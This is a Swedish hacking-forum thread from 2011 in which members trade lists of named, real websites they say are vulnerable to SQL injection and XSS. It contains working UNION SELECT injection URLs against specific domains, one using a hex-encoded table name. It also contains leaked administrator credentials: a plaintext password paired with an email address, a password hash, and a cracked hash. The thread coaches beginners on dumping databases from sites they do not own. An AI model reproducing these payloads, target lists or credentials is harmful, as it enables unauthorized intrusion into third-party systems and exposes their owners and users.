Samling av sidor med säkerhetsbrister - Del 2

2011-01-18, 22:27 #**1981**

Medlem

Reg: Sep 2010

Inlägg: 1 793

Citat:

Ursprungligen postat av vicious

http://www.icehotel.com/
xss i sökfältet. vet dock inte hur man utnyttjar det

om jag skriver typ: alert(document.cookie); så visas väll bara "min"?

http://www.normark.se/Default.asp?PageID=488 verkar sårbar men vet inte där heller hur jag ska gå vidare...

normark.se är sårbar. men jävligt jobbig, och helt ovärt jobbet då den där sidan är helt värdelös(?).

Citera

2011-01-19, 00:05 #**1982**

Bannlyst

Då jag är totalt färsking inom detta området så har jag iallafall lyckats att hitta sidor som är sårbara, men har haft problem med att plocka ut databasen på dom.

Kan dela med mig iallafall en sida som jag är nästan helt hundra är sårbar!

Känner sig någon villig så vill jag hemskt gärna ha ett svar på hur du löste detta!

Är som sagt grön på området, men skulle iallafall vara kul att få ut något av det

Mvh.

__________________
Senast redigerad av t0rsken 2011-01-19 kl. 00:19.

Citera

2011-01-19, 01:39 #**1983**

Medlem

Reg: Aug 2002

Inlägg: 603

ett litet bidrag till..

Kod:

http://www.ochenk.com/entry.php?id=-63%20union%20all%20select%201,table_name,3,4%20from%20information_schema.tables--

http://www.ochenk.com/entry.php?id=-63%20union%20all%20select%201,column_name,3,4%20from%20information_schema.columns--

Citera

2011-01-19, 03:03 #**1984**

Medlem

Reg: Jul 2007

Inlägg: 1 193

Citat:

Ursprungligen postat av l23

Öh, varför fungerar valfritext' or 'valfritext'='valfritext men inte valfritext' or 1=1

Knam an inte skriva 1=1 och få true i en sql query?

admin:P@ssw0rd gtk_sukon@hotmail.com

Så jävla dumt lösen så dom får skylla sig själva

och POP3 var inte bättre.. *suck*

__________________
Senast redigerad av Ratcher 2011-01-19 kl. 03:26.

Citera

2011-01-19, 04:08 #**1985**

Medlem

Reg: Jul 2007

Inlägg: 1 193

leker vidare lite, MoraOfSweden har:

admin: $P$BRU8.wDqtCIaJ0C/12A1JStymfW90Q.

Citera

2011-01-19, 11:24 #**1986**

Medlem

Reg: Aug 2002

Inlägg: 603

var bara tvungen att leka vidare när jag vaknade

http://ochenk.com/

db dumb

Citera

2011-01-19, 11:36 #**1987**

Bannlyst

Bidrar lite idag

http://www.dosgraveyard.com/game.php?id=9

Citera

2011-01-19, 15:46 #**1988**

Medlem

Reg: Nov 2010

Inlägg: 84

Citat:

Ursprungligen postat av t0rsken

Bidrar lite idag

http://www.dosgraveyard.com/game.php?id=9

Behöver träna lite själv, så gav mig på samma sajt. Jag kommer såhär långt:

Men jag sen är jag fast. Hur fick du ut kolumn-namnen från members?

Citera

2011-01-19, 15:52 #**1989**

Medlem

Reg: Jan 2008

Inlägg: 6 033

Citat:

Ursprungligen postat av wellyc

Behöver träna lite själv, så gav mig på samma sajt. Jag kommer såhär långt:

Men jag sen är jag fast. Hur fick du ut kolumn-namnen från members?

Du måste hexa members.

Citat:

http://www.dosgraveyard.com/game.php?id=-1+UNION+SELECT+1,group_concat(column_name),3,4,5,6 ,7,8,9,1,3,2,4,5,6,7,8,9+FROM+informa tion_schema.columns+WHERE+table_name=0x6d656d62657 273--

Citera

2011-01-19, 16:02 #**1990**

Medlem

Reg: Dec 2010

Inlägg: 170

Lite uppdaterade sårbarheter från min sida:

http://www.tangopalatset.se/index.php?p ... &newsid=10
http://www.astacus.se/index.php?id=12&newsid=10
http://www.goteborgsnation.com/index.php?newsID=613
http://www.bergkvistfoto.se/index.php?s ... hetsid=131
http://www.usawkf.com/news/detail.php?aid=599
http://www.gfenergo.se/index.php?mainl= ... hetsID=173
http://www.scifireplicas.se/ProductDetails.php?ID=235
http://www.adalfa.se/index.php?sidinfo=6&nyhetsid=18
http://www.stockholmgaming.se/index.php ... s&cat_id=1
https://thewe1.cbeyondhosting2.com/disc ... php?id=183
http://www.stiftelsenkma.com/index.php? ... &newsid=10
http://www.bgskorstensservice.se/index. ... t&newsID=6
http://www.hifiart.se/index.php?sid=10&newsID=6
http://www.galeasen.se/index.php?p=arki ... 7&newsID=8
http://www.ruin.se/index.php?id=37&nyhetsID=48
http://www.tinnituswebben.se/index.php? ... c_id=23545
http://www.stallklacken.se/test/index.p ... hetsid=244
http://exsite.se/blackjacks/index.php?s ... yhetsid=22
http://www.bergkvistfoto.se/index.php?s ... hetsid=153

Alla är sårbara för SQL Injection.

Citera

2011-01-19, 16:55 #**1991**

Medlem

Reg: Jun 2010

Inlägg: 1 176

Citat:

Ursprungligen postat av t0rsken

Bidrar lite idag

http://www.dosgraveyard.com/game.php?id=9

Ska bidra lite med..

06c219e5bc8378f3a8a3f83b4b7e4649:mysecret

Citera

2011-01-19, 17:27 #**1992**

Bannlyst

Citat:

Ursprungligen postat av MelvinFrohike

Ska bidra lite med..

06c219e5bc8378f3a8a3f83b4b7e4649:mysecret

Har du funnit inloggningen till sidan? Har försökt som en dåre, men utan resultat

Citat:

http://woolfdesigns.co.uk/case-show.php?id=13

Ovan verkar vara sårbar för SQL injektioner.

__________________
Senast redigerad av t0rsken 2011-01-19 kl. 17:38.

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in